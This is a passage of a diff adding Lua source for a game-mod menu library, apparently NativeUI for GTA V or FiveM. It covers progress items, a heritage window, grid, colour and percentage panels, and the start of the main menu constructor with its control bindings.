(type(Item) == type(self.Data.Items[i].Name) or type(Item) == type(self.Data.Items[i].Value)) and (Item == self.Data.Items[i].Name or Item == self.Data.Items[i].Value) then + return i + end + end +end + +function UIMenuProgressItem:IndexToItem(Index) + if tonumber(Index) then + if tonumber(Index) == 0 then Index = 1 end + if self.Data.Items[tonumber(Index)] then + return self.Data.Items[tonumber(Index)] + end + end +end + +function UIMenuProgressItem:SetLeftBadge() + error("This item does not support badges") +end + +function UIMenuProgressItem:SetRightBadge() + error("This item does not support badges") +end + +function UIMenuProgressItem:RightLabel() + error("This item does not support a right label") +end + +function UIMenuProgressItem:CalculateProgress(CursorX) + local Progress = CursorX - self.Bar.X + self:Index(math.round(#self.Data.Items * (((Progress >= 0 and Progress <= self.Data.Max) and Progress or ((Progress < 0) and 0 or self.Data.Max)) / self.Data.Max))) +end + +function UIMenuProgressItem:Draw() + self.Base:Draw() + + if self.Base._Selected then + self.Background:Colour(table.unpack(Colours.Black)) + self.Bar:Colour(table.unpack(Colours.White)) + else + self.Background:Colour(table.unpack(Colours.White)) + self.Bar:Colour(table.unpack(Colours.Black)) + end + + self.Background:Draw() + self.Bar:Draw() +end + +--[[ + UIMenuHeritageWindow.lua + Windows +--]] + +function UIMenuHeritageWindow.New(Mum, Dad) + if not tonumber(Mum) then Mum = 0 end + if not (Mum >= 0 and Mum <= 21) then Mum = 0 end + if not tonumber(Dad) then Dad = 0 end + if not (Dad >= 0 and Dad <= 23) then Dad = 0 end + _UIMenuHeritageWindow = { + Background = Sprite.New("pause_menu_pages_char_mom_dad", "mumdadbg", 0, 0, 431, 228), -- Background is required, must be a sprite or a rectangle. + MumSprite = Sprite.New("char_creator_portraits", ((Mum < 21) and "female_" .. Mum or "special_female_" .. (tonumber(string.sub(Mum, 2, 2)) - 1)), 0, 0, 228, 228), + DadSprite = Sprite.New("char_creator_portraits", ((Dad < 21) and "male_" .. Dad or "special_male_" .. (tonumber(string.sub(Dad, 2, 2)) - 1)), 0, 0, 228, 228), + Mum = Mum, + Dad = Dad, + _Offset = { X = 0, Y = 0 }, -- required + ParentMenu = nil, -- required + } + return setmetatable(_UIMenuHeritageWindow, UIMenuHeritageWindow) +end + +function UIMenuHeritageWindow:SetParentMenu(Menu) -- required + if Menu() == "UIMenu" then + self.ParentMenu = Menu + else + return self.ParentMenu + end +end + +function UIMenuHeritageWindow:Offset(X, Y) -- required + if tonumber(X) or tonumber(Y) then + if tonumber(X) then + self._Offset.X = tonumber(X) + end + if tonumber(Y) then + self._Offset.Y = tonumber(Y) + end + else + return self._Offset + end +end + +function UIMenuHeritageWindow:Position(Y) -- required + if tonumber(Y) then + self.Background:Position(self._Offset.X, 144 + Y + self._Offset.Y) + self.MumSprite:Position(self._Offset.X + (self.ParentMenu.WidthOffset / 2) + 25, 144 + Y + self._Offset.Y) + self.DadSprite:Position(self._Offset.X + (self.ParentMenu.WidthOffset / 2) + 195, 144 + Y + self._Offset.Y) + end +end + +function UIMenuHeritageWindow:Index(Mum, Dad) + if not tonumber(Mum) then Mum = self.Mum end + if not (Mum >= 0 and Mum <= 21) then Mum = self.Mum end + if not tonumber(Dad) then Dad = self.Dad end + if not (Dad >= 0 and Dad <= 23) then Dad = self.Dad end + + self.Mum = Mum + self.Dad = Dad + + self.MumSprite.TxtName = ((self.Mum < 21) and "female_" .. self.Mum or "special_female_" .. (tonumber(string.sub(Mum, 2, 2)) - 1)) + self.DadSprite.TxtName = ((self.Dad < 21) and "male_" .. self.Dad or "special_male_" .. (tonumber(string.sub(Dad, 2, 2)) - 1)) +end + +function UIMenuHeritageWindow:Draw() -- required + self.Background:Size(431 + self.ParentMenu.WidthOffset, 228) + self.Background:Draw() + self.DadSprite:Draw() + self.MumSprite:Draw() +end + +--[[ + UIMenuGridPanel.lua + Panels +--]] + +function UIMenuGridPanel.New(TopText, LeftText, RightText, BottomText) + _UIMenuGridPanel = { + Data = { + Enabled = true, + }, + Background = Sprite.New("commonmenu", "gradient_bgd", 0, 0, 431, 275), + Grid = Sprite.New("pause_menu_pages_char_mom_dad", "nose_grid", 0, 0, 200, 200, 0), + Circle = Sprite.New("mpinventory", "in_world_circle", 0, 0, 20, 20, 0), + Audio = { Slider = "CONTINUOUS_SLIDER", Library = "HUD_FRONTEND_DEFAULT_SOUNDSET", Id = nil }, + ParentItem = nil, + Text = { + Top = UIResText.New(TopText or "Top", 0, 0, 0.35, 255, 255, 255, 255, 0, "Centre"), + Left = UIResText.New(LeftText or "Left", 0, 0, 0.35, 255, 255, 255, 255, 0, "Centre"), + Right = UIResText.New(RightText or "Right", 0, 0, 0.35, 255, 255, 255, 255, 0, "Centre"), + Bottom = UIResText.New(BottomText or "Bottom", 0, 0, 0.35, 255, 255, 255, 255, 0, "Centre"), + }, + } + return setmetatable(_UIMenuGridPanel, UIMenuGridPanel) +end + +function UIMenuGridPanel:SetParentItem(Item) -- required + if Item() == "UIMenuItem" then + self.ParentItem = Item + else + return self.ParentItem + end +end + +function UIMenuGridPanel:Enabled(Enabled) + if type(Enabled) == "boolean" then + self.Data.Enabled = Enabled + else + return self.Data.Enabled + end +end + +function UIMenuGridPanel:CirclePosition(X, Y) + if tonumber(X) and tonumber(Y) then + self.Circle.X = (self.Grid.X + 20) + ((self.Grid.Width - 40) * ((X >= 0.0 and X <= 1.0) and X or 0.0)) - (self.Circle.Width / 2) + self.Circle.Y = (self.Grid.Y + 20) + ((self.Grid.Height - 40) * ((Y >= 0.0 and Y <= 1.0) and Y or 0.0)) - (self.Circle.Height / 2) + else + return math.round((self.Circle.X - (self.Grid.X + 20) + (self.Circle.Width / 2)) / (self.Grid.Width - 40), 2), math.round((self.Circle.Y - (self.Grid.Y + 20) + (self.Circle.Height / 2)) / (self.Grid.Height - 40), 2) + end +end + +function UIMenuGridPanel:Position(Y) -- required + if tonumber(Y) then + local ParentOffsetX, ParentOffsetWidth = self.ParentItem:Offset().X, self.ParentItem:SetParentMenu().WidthOffset + + self.Background:Position(ParentOffsetX, Y) + self.Grid:Position(ParentOffsetX + 115.5 + (ParentOffsetWidth / 2), 37.5 + Y) + self.Text.Top:Position(ParentOffsetX + 215.5 + (ParentOffsetWidth / 2), 5 + Y) + self.Text.Left:Position(ParentOffsetX + 57.75 + (ParentOffsetWidth / 2), 120 + Y) + self.Text.Right:Position(ParentOffsetX + 373.25 + (ParentOffsetWidth / 2), 120 + Y) + self.Text.Bottom:Position(ParentOffsetX + 215.5 + (ParentOffsetWidth / 2), 240 + Y) + + if not self.CircleLocked then + self.CircleLocked = true + self:CirclePosition(0.5, 0.5) + end + end +end + +function UIMenuGridPanel:UpdateParent(X, Y) + local _, ParentType = self.ParentItem() + if ParentType == "UIMenuListItem" then + local PanelItemIndex = self.ParentItem:FindPanelItem() + if PanelItemIndex then + self.ParentItem.Items[PanelItemIndex].Value[self.ParentItem:FindPanelIndex(self)] = { X = X, Y = Y } + self.ParentItem:Index(PanelItemIndex) + self.ParentItem.Base.ParentMenu.OnListChange(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index) + self.ParentItem.OnListChanged(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index) + else + local PanelIndex = self.ParentItem:FindPanelIndex(self) + for Index = 1, #self.ParentItem.Items do + if type(self.ParentItem.Items[Index]) == "table" then + if not self.ParentItem.Items[Index].Panels then self.ParentItem.Items[Index].Panels = {} end + self.ParentItem.Items[Index].Panels[PanelIndex] = { X = X, Y = Y } + else + self.ParentItem.Items[Index] = { Name = tostring(self.ParentItem.Items[Index]), Value = self.ParentItem.Items[Index], Panels = { [PanelIndex] = { X = X, Y = Y } } } + end + end + self.ParentItem.Base.ParentMenu.OnListChange(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index) + self.ParentItem.OnListChanged(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index) + end + elseif ParentType == "UIMenuItem" then + self.ParentItem.ActivatedPanel(self.ParentItem.ParentMenu, self.ParentItem, self, { X = X, Y = Y }) + end +end + +function UIMenuGridPanel:Functions() + local SafeZone = { X = 0, Y = 0 } + if self.ParentItem:SetParentMenu().Settings.ScaleWithSafezone then + SafeZone = GetSafeZoneBounds() + end + + if IsMouseInBounds(self.Grid.X + 20 + SafeZone.X, self.Grid.Y + 20 + SafeZone.Y, self.Grid.Width - 40, self.Grid.Height - 40) then + if IsDisabledControlJustPressed(0, 24) then + if not self.Pressed then + self.Pressed = true + CreateThread(function() + self.Audio.Id = GetSoundId() + PlaySoundFrontend(self.Audio.Id, self.Audio.Slider, self.Audio.Library, 1) + while IsDisabledControlPressed(0, 24) and IsMouseInBounds(self.Grid.X + 20 + SafeZone.X, self.Grid.Y + 20 + SafeZone.Y, self.Grid.Width - 40, self.Grid.Height - 40) do + Wait(0) + local CursorX, CursorY = math.round(GetControlNormal(0, 239) * 1920) - SafeZone.X - (self.Circle.Width / 2), math.round(GetControlNormal(0, 240) * 1080) - SafeZone.Y - (self.Circle.Height / 2) + + self.Circle:Position(((CursorX > (self.Grid.X + 10 + self.Grid.Width - 40)) and (self.Grid.X + 10 + self.Grid.Width - 40) or ((CursorX < (self.Grid.X + 20 - (self.Circle.Width / 2))) and (self.Grid.X + 20 - (self.Circle.Width / 2)) or CursorX)), ((CursorY > (self.Grid.Y + 10 + self.Grid.Height - 40)) and (self.Grid.Y + 10 + self.Grid.Height - 40) or ((CursorY < (self.Grid.Y + 20 - (self.Circle.Height / 2))) and (self.Grid.Y + 20 - (self.Circle.Height / 2)) or CursorY))) + end + StopSound(self.Audio.Id) + ReleaseSoundId(self.Audio.Id) + self.Pressed = false + end) + CreateThread(function() + while IsDisabledControlPressed(0, 24) and IsMouseInBounds(self.Grid.X + 20 + SafeZone.X, self.Grid.Y + 20 + SafeZone.Y, self.Grid.Width - 40, self.Grid.Height - 40) do + Wait(75) + local ResultX, ResultY = math.round((self.Circle.X - (self.Grid.X + 20) + (self.Circle.Width / 2)) / (self.Grid.Width - 40), 2), math.round((self.Circle.Y - (self.Grid.Y + 20) + (self.Circle.Height / 2)) / (self.Grid.Height - 40), 2) + + self:UpdateParent((((ResultX >= 0.0 and ResultX <= 1.0) and ResultX or ((ResultX <= 0) and 0.0) or 1.0) * 2) - 1, (((ResultY >= 0.0 and ResultY <= 1.0) and ResultY or ((ResultY <= 0) and 0.0) or 1.0) * 2) - 1) + end + end) + end + end + end +end + +function UIMenuGridPanel:Draw() -- required + if self.Data.Enabled then + self.Background:Size(431 + self.ParentItem:SetParentMenu().WidthOffset, 275) + + self.Background:Draw() + self.Grid:Draw() + self.Circle:Draw() + self.Text.Top:Draw() + self.Text.Left:Draw() + self.Text.Right:Draw() + self.Text.Bottom:Draw() + self:Functions() + end +end + +--[[ + UIMenuColourPanel.lua + Panels +--]] + +function UIMenuColourPanel.New(Title, Colours) + _UIMenuColourPanel = { + Data = { + Pagination = { + Min = 1, + Max = 8, + Total = 8, + }, + Index = 1000, + Items = Colours, + Title = Title or "Title", + Enabled = true, + Value = 1, + }, + Background = Sprite.New("commonmenu", "gradient_bgd", 0, 0, 431, 112), + Bar = {}, + LeftArrow = Sprite.New("commonmenu", "arrowleft", 0, 0, 30, 30), + RightArrow = Sprite.New("commonmenu", "arrowright", 0, 0, 30, 30), + SelectedRectangle = UIResRectangle.New(0, 0, 44.5, 8), + Text = UIResText.New(Title .. " (1 of " .. #Colours .. ")" or "Title" .. " (1 of " .. #Colours .. ")", 0, 0, 0.35, 255, 255, 255, 255, 0, "Centre"), + ParentItem = nil, + } + + for Index = 1, #Colours do + if Index < 10 then + table.insert(_UIMenuColourPanel.Bar, UIResRectangle.New(0, 0, 44.5, 44.5, table.unpack(Colours[Index]))) + else + break + end + end + + if #_UIMenuColourPanel.Data.Items ~= 0 then + _UIMenuColourPanel.Data.Index = 1000 - (1000 % #_UIMenuColourPanel.Data.Items) + _UIMenuColourPanel.Data.Pagination.Max = _UIMenuColourPanel.Data.Pagination.Total + 1 + _UIMenuColourPanel.Data.Pagination.Min = 0 + end + return setmetatable(_UIMenuColourPanel, UIMenuColourPanel) +end + +function UIMenuColourPanel:SetParentItem(Item) -- required + if Item() == "UIMenuItem" then + self.ParentItem = Item + else + return self.ParentItem + end +end + +function UIMenuColourPanel:Enabled(Enabled) + if type(Enabled) == "boolean" then + self.Data.Enabled = Enabled + else + return self.Data.Enabled + end +end + +function UIMenuColourPanel:Position(Y) -- required + if tonumber(Y) then + local ParentOffsetX, ParentOffsetWidth = self.ParentItem:Offset().X, self.ParentItem:SetParentMenu().WidthOffset + + self.Background:Position(ParentOffsetX, Y) + for Index = 1, #self.Bar do + self.Bar[Index]:Position(15 + (44.5 * (Index - 1)) + ParentOffsetX + (ParentOffsetWidth / 2), 55 + Y) + end + self.SelectedRectangle:Position(15 + (44.5 * ((self:CurrentSelection() - self.Data.Pagination.Min) - 1)) + ParentOffsetX + (ParentOffsetWidth / 2), 47 + Y) + self.LeftArrow:Position(7.5 + ParentOffsetX + (ParentOffsetWidth / 2), 15 + Y) + self.RightArrow:Position(393.5 + ParentOffsetX + (ParentOffsetWidth / 2), 15 + Y) + self.Text:Position(215.5 + ParentOffsetX + (ParentOffsetWidth / 2), 15 + Y) + end +end + +function UIMenuColourPanel:CurrentSelection(value, PreventUpdate) + if tonumber(value) then + if #self.Data.Items == 0 then + self.Data.Index = 0 + end + + self.Data.Index = 1000000 - (1000000 % #self.Data.Items) + tonumber(value) + + if self:CurrentSelection() > self.Data.Pagination.Max then + self.Data.Pagination.Min = self:CurrentSelection() - (self.Data.Pagination.Total + 1) + self.Data.Pagination.Max = self:CurrentSelection() + elseif self:CurrentSelection() < self.Data.Pagination.Min then + self.Data.Pagination.Min = self:CurrentSelection() - 1 + self.Data.Pagination.Max = self:CurrentSelection() + (self.Data.Pagination.Total + 1) + end + + self:UpdateSelection(PreventUpdate) + else + if #self.Data.Items == 0 then + return 1 + else + if self.Data.Index % #self.Data.Items == 0 then + return 1 + else + return self.Data.Index % #self.Data.Items + 1 + end + end + end +end + +function UIMenuColourPanel:UpdateParent(Colour) + local _, ParentType = self.ParentItem() + if ParentType == "UIMenuListItem" then + local PanelItemIndex = self.ParentItem:FindPanelItem() + local PanelIndex = self.ParentItem:FindPanelIndex(self) + if PanelItemIndex then + self.ParentItem.Items[PanelItemIndex].Value[PanelIndex] = Colour + self.ParentItem:Index(PanelItemIndex) + self.ParentItem.Base.ParentMenu.OnListChange(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index) + self.ParentItem.OnListChanged(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index) + else + for Index = 1, #self.ParentItem.Items do + if type(self.ParentItem.Items[Index]) == "table" then + if not self.ParentItem.Items[Index].Panels then self.ParentItem.Items[Index].Panels = {} end + self.ParentItem.Items[Index].Panels[PanelIndex] = Colour + else + self.ParentItem.Items[Index] = { Name = tostring(self.ParentItem.Items[Index]), Value = self.ParentItem.Items[Index], Panels = { [PanelIndex] = Colour } } + end + end + self.ParentItem.Base.ParentMenu.OnListChange(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index) + self.ParentItem.OnListChanged(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index) + end + elseif ParentType == "UIMenuItem" then + self.ParentItem.ActivatedPanel(self.ParentItem.ParentMenu, self.ParentItem, self, Colour) + end +end + +function UIMenuColourPanel:UpdateSelection(PreventUpdate) + local CurrentSelection = self:CurrentSelection() + if not PreventUpdate then + self:UpdateParent(CurrentSelection) + end + self.SelectedRectangle:Position(15 + (44.5 * ((CurrentSelection - self.Data.Pagination.Min) - 1)) + self.ParentItem:Offset().X, self.SelectedRectangle.Y) + for Index = 1, 9 do + self.Bar[Index]:Colour(table.unpack(self.Data.Items[self.Data.Pagination.Min + Index])) + end + self.Text:Text(self.Data.Title .. " (" .. CurrentSelection .. " of " .. #self.Data.Items .. ")") +end + +function UIMenuColourPanel:Functions() + + local SafeZone = { X = 0, Y = 0 } + if self.ParentItem:SetParentMenu().Settings.ScaleWithSafezone then + SafeZone = GetSafeZoneBounds() + end + + + if IsMouseInBounds(self.LeftArrow.X + SafeZone.X, self.LeftArrow.Y + SafeZone.Y, self.LeftArrow.Width, self.LeftArrow.Height) then + if IsDisabledControlJustPressed(0, 24) then + if #self.Data.Items > self.Data.Pagination.Total + 1 then + if self:CurrentSelection() <= self.Data.Pagination.Min + 1 then + if self:CurrentSelection() == 1 then + self.Data.Pagination.Min = #self.Data.Items - (self.Data.Pagination.Total + 1) + self.Data.Pagination.Max = #self.Data.Items + self.Data.Index = 1000 - (1000 % #self.Data.Items) + self.Data.Index = self.Data.Index + (#self.Data.Items - 1) + self:UpdateSelection() + else + self.Data.Pagination.Min = self.Data.Pagination.Min - 1 + self.Data.Pagination.Max = self.Data.Pagination.Max - 1 + self.Data.Index = self.Data.Index - 1 + self:UpdateSelection() + end + else + self.Data.Index = self.Data.Index - 1 + self:UpdateSelection() + end + else + self.Data.Index = self.Data.Index - 1 + self:UpdateSelection() + end + end + end + + if IsMouseInBounds(self.RightArrow.X + SafeZone.X, self.RightArrow.Y + SafeZone.Y, self.RightArrow.Width, self.RightArrow.Height) then + if IsDisabledControlJustPressed(0, 24) then + if #self.Data.Items > self.Data.Pagination.Total + 1 then + if self:CurrentSelection() >= self.Data.Pagination.Max then + if self:CurrentSelection() == #self.Data.Items then + self.Data.Pagination.Min = 0 + self.Data.Pagination.Max = self.Data.Pagination.Total + 1 + self.Data.Index = 1000 - (1000 % #self.Data.Items) + self:UpdateSelection() + else + self.Data.Pagination.Max = self.Data.Pagination.Max + 1 + self.Data.Pagination.Min = self.Data.Pagination.Max - (self.Data.Pagination.Total + 1) + self.Data.Index = self.Data.Index + 1 + self:UpdateSelection() + end + else + self.Data.Index = self.Data.Index + 1 + self:UpdateSelection() + end + else + self.Data.Index = self.Data.Index + 1 + self:UpdateSelection() + end + end + end + + for Index = 1, #self.Bar do + if IsMouseInBounds(self.Bar[Index].X + SafeZone.X, self.Bar[Index].Y + SafeZone.Y, self.Bar[Index].Width, self.Bar[Index].Height) then + if IsDisabledControlJustPressed(0, 24) then + self:CurrentSelection(self.Data.Pagination.Min + Index - 1) + end + end + end +end + +function UIMenuColourPanel:Draw() -- required + if self.Data.Enabled then + self.Background:Size(431 + self.ParentItem:SetParentMenu().WidthOffset, 112) + + self.Background:Draw() + self.LeftArrow:Draw() + self.RightArrow:Draw() + self.Text:Draw() + self.SelectedRectangle:Draw() + for Index = 1, #self.Bar do + self.Bar[Index]:Draw() + end + self:Functions() + end +end + +--[[ + UIMenuPercentagePanel.lua + Panels +--]] + +function UIMenuPercentagePanel.New(MinText, MaxText) + _UIMenuPercentagePanel = { + Data = { + Enabled = true, + }, + Background = Sprite.New("commonmenu", "gradient_bgd", 0, 0, 431, 76), + ActiveBar = UIResRectangle.New(0, 0, 413, 10, 245, 245, 245, 255), + BackgroundBar = UIResRectangle.New(0, 0, 413, 10, 87, 87, 87, 255), + Text = { + Min = UIResText.New(MinText or "0%", 0, 0, 0.35, 255, 255, 255, 255, 0, "Centre"), + Max = UIResText.New("100%", 0, 0, 0.35, 255, 255, 255, 255, 0, "Centre"), + Title = UIResText.New(MaxText or "Opacity", 0, 0, 0.35, 255, 255, 255, 255, 0, "Centre"), + }, + Audio = { Slider = "CONTINUOUS_SLIDER", Library = "HUD_FRONTEND_DEFAULT_SOUNDSET", Id = nil }, + ParentItem = nil, + } + + return setmetatable(_UIMenuPercentagePanel, UIMenuPercentagePanel) +end + +function UIMenuPercentagePanel:SetParentItem(Item) -- required + if Item() == "UIMenuItem" then + self.ParentItem = Item + else + return self.ParentItem + end +end + +function UIMenuPercentagePanel:Enabled(Enabled) + if type(Enabled) == "boolean" then + self.Data.Enabled = Enabled + else + return self.Data.Enabled + end +end + +function UIMenuPercentagePanel:Position(Y) -- required + if tonumber(Y) then + local ParentOffsetX, ParentOffsetWidth = self.ParentItem:Offset().X, self.ParentItem:SetParentMenu().WidthOffset + self.Background:Position(ParentOffsetX, Y) + self.ActiveBar:Position(ParentOffsetX + (ParentOffsetWidth / 2) + 9, 50 + Y) + self.BackgroundBar:Position(ParentOffsetX + (ParentOffsetWidth / 2) + 9, 50 + Y) + self.Text.Min:Position(ParentOffsetX + (ParentOffsetWidth / 2) + 25, 15 + Y) + self.Text.Max:Position(ParentOffsetX + (ParentOffsetWidth / 2) + 398, 15 + Y) + self.Text.Title:Position(ParentOffsetX + (ParentOffsetWidth / 2) + 215.5, 15 + Y) + end +end + +function UIMenuPercentagePanel:Percentage(Value) + if tonumber(Value) then + local Percent = ((Value < 0.0) and 0.0) or ((Value > 1.0) and 1.0 or Value) + self.ActiveBar:Size(self.BackgroundBar.Width * Percent, self.ActiveBar.Height) + else + local SafeZone = { X = 0, Y = 0 } + if self.ParentItem:SetParentMenu().Settings.ScaleWithSafezone then + SafeZone = GetSafeZoneBounds() + end + + local Progress = (math.round(GetControlNormal(0, 239) * 1920) - SafeZone.X) - self.ActiveBar.X + return math.round(((Progress >= 0 and Progress <= 413) and Progress or ((Progress < 0) and 0 or 413)) / self.BackgroundBar.Width, 2) + end +end + +function UIMenuPercentagePanel:UpdateParent(Percentage) + local _, ParentType = self.ParentItem() + if ParentType == "UIMenuListItem" then + local PanelItemIndex = self.ParentItem:FindPanelItem() + if PanelItemIndex then + self.ParentItem.Items[PanelItemIndex].Value[self.ParentItem:FindPanelIndex(self)] = Percentage + self.ParentItem:Index(PanelItemIndex) + self.ParentItem.Base.ParentMenu.OnListChange(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index) + self.ParentItem.OnListChanged(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index) + else + local PanelIndex = self.ParentItem:FindPanelIndex(self) + for Index = 1, #self.ParentItem.Items do + if type(self.ParentItem.Items[Index]) == "table" then + if not self.ParentItem.Items[Index].Panels then self.ParentItem.Items[Index].Panels = {} end + self.ParentItem.Items[Index].Panels[PanelIndex] = Percentage + else + self.ParentItem.Items[Index] = { Name = tostring(self.ParentItem.Items[Index]), Value = self.ParentItem.Items[Index], Panels = { [PanelIndex] = Percentage } } + end + end + self.ParentItem.Base.ParentMenu.OnListChange(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index) + self.ParentItem.OnListChanged(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index) + end + elseif ParentType == "UIMenuItem" then + self.ParentItem.ActivatedPanel(self.ParentItem.ParentMenu, self.ParentItem, self, Percentage) + end +end + +function UIMenuPercentagePanel:Functions() + + local SafeZone = { X = 0, Y = 0 } + if self.ParentItem:SetParentMenu().Settings.ScaleWithSafezone then + SafeZone = GetSafeZoneBounds() + end + + if IsMouseInBounds(self.BackgroundBar.X + SafeZone.X, self.BackgroundBar.Y - 4 + SafeZone.Y, self.BackgroundBar.Width, self.BackgroundBar.Height + 8) then + if IsDisabledControlJustPressed(0, 24) then + if not self.Pressed then + self.Pressed = true + CreateThread(function() + self.Audio.Id = GetSoundId() + PlaySoundFrontend(self.Audio.Id, self.Audio.Slider, self.Audio.Library, 1) + while IsDisabledControlPressed(0, 24) and IsMouseInBounds(self.BackgroundBar.X + SafeZone.X, self.BackgroundBar.Y - 4 + SafeZone.Y, self.BackgroundBar.Width, self.BackgroundBar.Height + 8) do + Wait(0) + local Progress = (math.round(GetControlNormal(0, 239) * 1920) - SafeZone.X) - self.ActiveBar.X + self.ActiveBar:Size(((Progress >= 0 and Progress <= 413) and Progress or ((Progress < 0) and 0 or 413)), self.ActiveBar.Height) + end + StopSound(self.Audio.Id) + ReleaseSoundId(self.Audio.Id) + self.Pressed = false + end) + CreateThread(function() + while IsDisabledControlPressed(0, 24) and IsMouseInBounds(self.BackgroundBar.X + SafeZone.X, self.BackgroundBar.Y - 4 + SafeZone.Y, self.BackgroundBar.Width, self.BackgroundBar.Height + 8) do + Wait(75) + local Progress = (math.round(GetControlNormal(0, 239) * 1920) - SafeZone.X) - self.ActiveBar.X + self:UpdateParent(math.round(((Progress >= 0 and Progress <= 413) and Progress or ((Progress < 0) and 0 or 413)) / self.BackgroundBar.Width, 2)) + end + end) + end + end + end +end + +function UIMenuPercentagePanel:Draw() -- required + if self.Data.Enabled then + self.Background:Size(431 + self.ParentItem:SetParentMenu().WidthOffset, 76) + self.Background:Draw() + self.BackgroundBar:Draw() + self.ActiveBar:Draw() + self.Text.Min:Draw() + self.Text.Max:Draw() + self.Text.Title:Draw() + self:Functions() + end +end + +--[[ + UIMenu.lua + Menus +--]] + +function UIMenu.New(Title, Subtitle, X, Y, TxtDictionary, TxtName) + local X, Y = tonumber(X) or 0, tonumber(Y) or 0 + if Title ~= nil then Title = tostring(Title) or "" else Title = "" end + if Subtitle ~= nil then Subtitle = tostring(Subtitle) or "" else Subtitle = "" end + if TxtDictionary ~= nil then TxtDictionary = tostring(TxtDictionary) or "commonmenu" else TxtDictionary = "commonmenu" end + if TxtName ~= nil then TxtName = tostring(TxtName) or "interaction_bgd" else TxtName = "interaction_bgd" end + local _UIMenu = { + Logo = Sprite.New(TxtDictionary, TxtName, 0 + X, 0 + Y, 431, 107), + Banner = nil, + Title = UIResText.New(Title, 215 + X, 20 + Y, 1.15, Config.TitleColour.R, Config.TitleColour.G, Config.TitleColour.B, Config.TitleColour.A, Config.MenuFont, 1, nil, Config.TitleOutline), + Subtitle = { ExtraY = 0 }, + WidthOffset = 0, + Position = { X = X, Y = Y }, + Pagination = { Min = 0, Max = 9, Total = 9 }, + PageCounter = { PreText = "" }, + Extra = {}, + Description = {}, + Items = {}, + Windows = {}, + Children = {}, + Controls = { + Back = { + Enabled = true, + }, + Select = { + Enabled = true, + }, + Left = { + Enabled = true, + }, + Right = { + Enabled = true, + }, + Up = { + Enabled = true, + }, + Down = { + Enabled = true, + }, + Increment = { + Enabled = true, + } + }, + ParentMenu = nil, + ParentItem = nil, + _Visible = false, + ActiveItem = 1000, + Dirty = false; + ReDraw = true, + InstructionalScaleform = RequestScaleformMovie("INSTRUCTIONAL_BUTTONS"), + InstructionalButtons = {}, + OnIndexChange = function(menu, newindex) end, + OnListChange = function(menu, list, newindex) end, + OnSliderChange = function(menu, slider, newindex) end, + OnProgressChange = function(menu, progress, newindex) end, + OnCheckboxChange = function(menu, item, checked) end, + OnListSelect = function(menu, list, index) end, + OnSliderSelect = function(menu, slider, index) end, + OnProgressSelect = function(menu, progress, index) end, + OnItemSelect = function(menu, item, index) end, + OnMenuChanged = function(menu, newmenu, forward) end, + OnMenuClosed = function(menu) end, + Settings = { + InstructionalButtons = true, + MultilineFormats = true, + ScaleWithSafezone = true, + ResetCursorOnOpen = false, + MouseControlsEnabled = false, + MouseEdgeEnabled = false, + ControlDisablingEnabled = Config.DisableControls, + Audio = { + Library = "HUD_FRONTEND_DEFAULT_SOUNDSET", + UpDown = "NAV_UP_DOWN", + LeftRight = "NAV_LEFT_RIGHT", + Select = "SELECT", + Back = "BACK", + Error = "ERROR", + }, + EnabledControls = { + Controller = { + { 0, 2 }, -- Look Up and Down + { 0, 1 }, -- Look Left and Right + { 0, 25 }, -- Aim + { 0, 24 }, -- Attack + { 0, 71 }, -- Accelerate Vehicle + { 0, 72 }, -- Vehicle Brake + { 0, 30 }, -- Move Left and Right + { 0, 31 }, -- Move Up and Down + { 0, 59 }, -- Move Vehicle Left and Right + { 0, 75 }, -- Exit Vehicle + { 0, 23 }, -- Enter Vehicle + }, + Keyboard = { + { 0, 0 }, -- Camera + { 0, 1 }, -- Look Left and Right + { 0, 2 }, -- Look Up and Down + { 0, 8 }, -- Fly Up and Down + { 0, 9 }, -- Fly Left and Right + { 0, 21 }, -- Sprint + { 0, 22 }, -- Jump + { 0, 23 }, -- Enter + { 0, 24 }, -- Attack + { 0, 25 }, -- Aim + { 0, 26 }, -- C + { 0, 30 }, -- Move Left and Right + { 0, 31 }, -- Move Up and Down + { 0, 47 }, -- G + -- { 0, 59 }, -- Move Vehicle Left and Right + { 0, 71 }, -- Accelerate Vehicle + { 0, 72 }, -- Vehicle Brake + { 0, 73 }, -- X + { 0, 75 }, -- Exit Vehicle + { 0, 76 }, -- Vehicle Handbrake + { 0, 89 }, -- Fly Yaw Left + { 0, 90 }, -- Fly Yaw Right + { 0, 108 }, -- Num Pad 4 + { 0, 109 }, -- Num Pad 6 + { 0, 110 }, -- Num Pad 5 + { 0, 111 }, -- Num Pad 8 + { 0, 117 }, -- Num Pad 7 + { 0, 118 }, -- Num Pad 9 + { 0, 171 }, -- CAPSLOCK + { 0, 187 }, -- Down + { 0, 188 }, -- Up + { 0, 189 }, -- Left + { 0, 190 }, -- Right + { 0, 195 }, -- X axis + { 0, 196 }, -- Y axis + { 0, 201 }, -- Select + { 0, 202 }, -- Back + { 0, 203 }, -- Spacebar? + { 0, 217 }, -- Select + { 0, 239 }, -- Cursor X + { 0, 240 }, -- Cursor Y + { 0, 241 }, -- Scroll up + { 0, 242 }, -- Scroll down + { 0, 249 }, -- N + { 0, 305 }, -- B + { 0, 306 }, -- N + }, + } + } + } + + if Subtitle ~= "" and Subtitle ~= nil then + _UIMenu.Subtitle.Rectangle = UIResRectangle.New(0 + _UIMenu.Position.X, 107 + _UIMenu.Position.Y, 431, 37, 0, 0, 0, 255) + _UIMenu.Subtitle.Text = UIResText.New(Subtitle, 8 + _UIMenu.Position.X, 110 + _UIMenu.Position.Y, 0.35, 245, 245, 245, 255, 0) + _UIMenu.Subtitle.BackupText = Subtitle + _UIMenu.Subtitle.Formatted = false + if string.starts(Subtitle, "~") then + _UIMenu.PageCounter.PreText = string.sub(Subtitle, 1, 3) + end + _UIMenu.PageCounter.Text = UIResText.New("", 425 + _UIMenu.Position.X, 110 + 